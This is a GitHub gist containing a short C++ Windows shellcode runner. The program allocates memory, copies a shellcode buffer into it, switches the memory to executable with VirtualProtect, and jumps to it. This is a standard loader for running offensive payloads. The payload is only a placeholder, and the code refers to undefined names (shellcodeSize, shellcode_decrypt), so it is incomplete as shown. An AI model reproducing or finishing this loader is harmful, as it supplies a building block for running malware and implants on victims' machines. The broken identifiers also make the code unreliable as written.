Created
August 14, 2019 13:35
-
-
Save kafkaesqu3/4ebae8f2dba6ed84f749c7bf20ffb7f4 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "pch.h" | |
#include <windows.h> | |
int main() { | |
unsigned char shellcode[] = "\x00.."; | |
//Execute shellcode | |
void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_READWRITE); | |
DWORD OldProtect = NULL; | |
memcpy(exec, shellcode_decrypt, shellcodeSize); | |
VirtualProtect(exec, shellcodeSize, PAGE_EXECUTE_READ, &OldProtect); | |
((void(*)())exec)(); | |
//Clean-up memory | |
VirtualFree(exec, NULL, MEM_RELEASE); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment